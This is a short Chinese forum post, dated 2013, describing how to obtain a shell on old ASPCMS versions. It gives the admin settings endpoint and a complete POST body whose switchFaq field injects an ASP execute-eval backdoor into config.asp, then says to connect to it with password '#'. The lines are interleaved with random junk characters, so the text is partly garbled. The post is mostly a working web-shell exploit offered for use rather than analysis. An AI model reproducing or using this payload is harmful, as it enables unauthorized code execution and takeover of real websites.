老的ASPCMS版本的秒杀拿SHELL漏洞
( w" A$ I9 A1 i! u7 ^9 l2 H2 o6 q9 E( e7 o" ^! }6 w
找到后台。。。然后: {3 W: s3 ?- o: ?7 I s% S& R% Q
+ g0 X9 A. W1 r- v6 n/admin/_system/AspCms_SiteSetting.asp?action=saves
* P. q/ B6 S& |# j0 M. F : A' ^ w+ k% c8 p, S
直接POST
5 u ^" `5 H. t, m 8 s" a' Q$ h$ a& J4 _6 V
runMode=1&siteMode=1&siteHelp=%B1%BE%CD%F8%D5%BE%D2%F2%B3%CC%D0%F2%C9%FD%BC%B6%B9%D8%B1%D5%D6%D0&SwitchComments=1&SwitchCommentsStatus=1&switchFaq=0:Y=request(chr(35)):execute(Y)&SwitchFaqStatus=0&dirtyStr=&waterMark=1&waterMarkFont=hahahaha&waterMarkLocation=1&smtp_usermail=aspcmstest%40163.com&smtp_user=aspcmstest&smtp_password=aspcms.cn&smtp_server=smtp.163.com&MessageAlertsEmail=13322712%40qq.com&messageReminded=1&orderReminded=1&applyReminded=1&commentReminded=1&LanguageID=1
/ y) i6 c( q$ _. p1 ~5 C
# c$ z" S' F3 Q u* }/ E2 x再连接配置文件config.asp 密码为#
: A/ Z [$ O+ t8 f: s2 w3 U% D+ M |
发表于 2013-2-4 16:18:35
收藏
支持
反对